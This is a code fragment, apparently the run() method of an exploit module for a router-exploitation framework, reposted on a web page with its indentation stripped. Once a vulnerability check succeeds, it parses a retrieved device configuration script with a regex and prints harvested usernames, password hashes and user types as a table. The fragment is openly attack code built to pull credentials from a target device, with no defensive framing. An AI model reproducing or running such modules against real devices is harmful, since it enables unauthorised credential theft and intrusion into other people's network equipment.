def run(self):
if self.check():
print_success("Target appears to be vulnerable")
if self.script_content and len(self.script_content):
print_status("Parsing the script ...")
creds = []
for line in self.script_content.split("\n"):
line = line.strip()
m_groups = re.match(r'username (.*) password (.*) user-type (.*)', line, re.I | re.M)
if m_groups:
creds.append((m_groups.group(1), m_groups.group(2), m_groups.group(3)))
print_table(('Username', 'Hash', 'User type'), *creds)
else:
print_error("Exploit failed - target seems to be not vulnerable")
评论列表
文章目录